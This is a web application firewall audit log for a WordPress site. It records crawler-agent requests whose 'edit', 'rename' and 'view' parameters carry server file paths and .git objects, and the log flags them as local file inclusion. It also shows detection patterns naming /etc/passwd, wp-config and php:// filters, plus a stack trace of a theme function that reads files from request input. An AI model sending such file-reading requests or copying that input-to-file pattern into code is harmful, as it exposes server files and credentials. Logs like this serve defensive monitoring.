{"transaction":{"time":"13/Mar/2026:06:07:53.781659 +0100","transaction_id":"abObqezjYSjefEszC8xs9wAAAcE","remote_address":"57.141.20.29","remote_port":39806,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/usr/base/usr/share/terminfo/o/oldxterm%20sm%201006 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"af5382a56d491f458c2a5e826cf0759c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10256466"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"af5382a56d491f458c2a5e826cf0759c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":5812,"p3":0,"p4":0,"p5":291,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:07:56.196570 +0100","transaction_id":"abObq1mBVxWGJzaI8WAxAAAAAYs","remote_address":"57.141.20.6","remote_port":42060,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/es_ES@euro/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"4c8a8f4a25eca59f87bf722437502076","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10059831"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4c8a8f4a25eca59f87bf722437502076","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/es_ES@euro/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":4238,"p3":0,"p4":0,"p5":326,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:08:19.276042 +0100","transaction_id":"abObwxLi46gS4DJVzjWK0AAAAlc","remote_address":"114.119.142.37","remote_port":35692,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/61992251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"055eabf8bd1833ff7ec23993a58d72fb","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10518554","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"055eabf8bd1833ff7ec23993a58d72fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":343,"p2":4022,"p3":0,"p4":0,"p5":342,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:08:34.517444 +0100","transaction_id":"abOb0hQsu-n2gr4PXlWM8gAAAQs","remote_address":"57.141.20.2","remote_port":42050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/bn/LC_MESSAGES/iso_3166.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"365bd551ae7b203bf89043f52fea81cd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1083149"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"365bd551ae7b203bf89043f52fea81cd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/bn/LC_MESSAGES/iso_3166.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":274,"p2":3665,"p3":0,"p4":0,"p5":380,"sr":87,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:08:51.712109 +0100","transaction_id":"abOb4xQsu-n2gr4PXlWNKQAAAQY","remote_address":"57.141.20.26","remote_port":60166,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/nn/LC_MESSAGES/Linux-PAM.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"8c484e798a6cb889872d182c13c4087f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1478505"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8c484e798a6cb889872d182c13c4087f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/nn/LC_MESSAGES/Linux-PAM.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":324,"p2":5847,"p3":0,"p4":0,"p5":300,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:09:05.620736 +0100","transaction_id":"abOb8ezjYSjefEszC8xt3wAAAcg","remote_address":"57.141.20.8","remote_port":59066,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f4/e740a864754b1894b81dfa362e3ca451a82c50 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"c9c0cdd8624231eb5510db9d4fc7b10c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1606933"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c9c0cdd8624231eb5510db9d4fc7b10c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f4/e740a864754b1894b81dfa362e3ca451a82c50||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":6016,"p3":0,"p4":0,"p5":358,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:09:38.983216 +0100","transaction_id":"abOcEuzjYSjefEszC8xuJAAAAdI","remote_address":"57.141.20.47","remote_port":44948,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/zu/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"06b19fa8fa192243553e9ff6430e84d9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9076807"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"06b19fa8fa192243553e9ff6430e84d9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zu/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":311,"p2":4248,"p3":0,"p4":0,"p5":229,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:10:16.666231 +0100","transaction_id":"abOcOGctLZHX5xWTcqfS7wAAAhI","remote_address":"57.141.20.5","remote_port":54014,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/nb/LC_MESSAGES/sudo.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.5","X-Forwarded-Proto":"https","X-Request-Id":"95e48043eb65e4158550622df67f9858","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10453034"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"95e48043eb65e4158550622df67f9858","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/nb/LC_MESSAGES/sudo.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":294,"p2":5828,"p3":0,"p4":0,"p5":209,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:11:17.615877 +0100","transaction_id":"abOcdGctLZHX5xWTcqfTZgAAAgI","remote_address":"114.119.145.169","remote_port":41772,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/54522151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"0ce4beffa0e4dcc56fe99a6ee5ba3be6","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8716905","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"0ce4beffa0e4dcc56fe99a6ee5ba3be6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":159,"p2":2827,"p3":0,"p4":0,"p5":320,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:11:22.787344 +0100","transaction_id":"abOcelmBVxWGJzaI8WAyiQAAAYM","remote_address":"57.141.20.8","remote_port":58552,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wpvivid-backuprestore/wpvivid-backuprestore.0.9.116.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"ee9fb12cc5864bba008adf6636c3dc32","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1607049"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ee9fb12cc5864bba008adf6636c3dc32","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wpvivid-backuprestore/wpvivid-backuprestore.0.9.116.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":277,"p2":5974,"p3":0,"p4":0,"p5":1386,"sr":127,"sw":1,"l":0,"gc":1088},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:17:01.598290 +0100","transaction_id":"abOdzbC1B_6BYICFawuyegAAAUs","remote_address":"57.141.20.8","remote_port":47040,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3b/d3c81eb2b6df0dc0a897ed95054e848013950e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"9cdd5c69a05672425a51532492e91e86","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8061800"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9cdd5c69a05672425a51532492e91e86","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3b/d3c81eb2b6df0dc0a897ed95054e848013950e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3785,"p3":0,"p4":0,"p5":317,"sr":102,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:17:22.413011 +0100","transaction_id":"abOd4RLi46gS4DJVzjWPrQAAAlU","remote_address":"114.119.140.84","remote_port":52274,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/244713451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"d19e546a23c929bd937a77473800151d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"526097","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"d19e546a23c929bd937a77473800151d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":253,"p2":4403,"p3":0,"p4":0,"p5":268,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
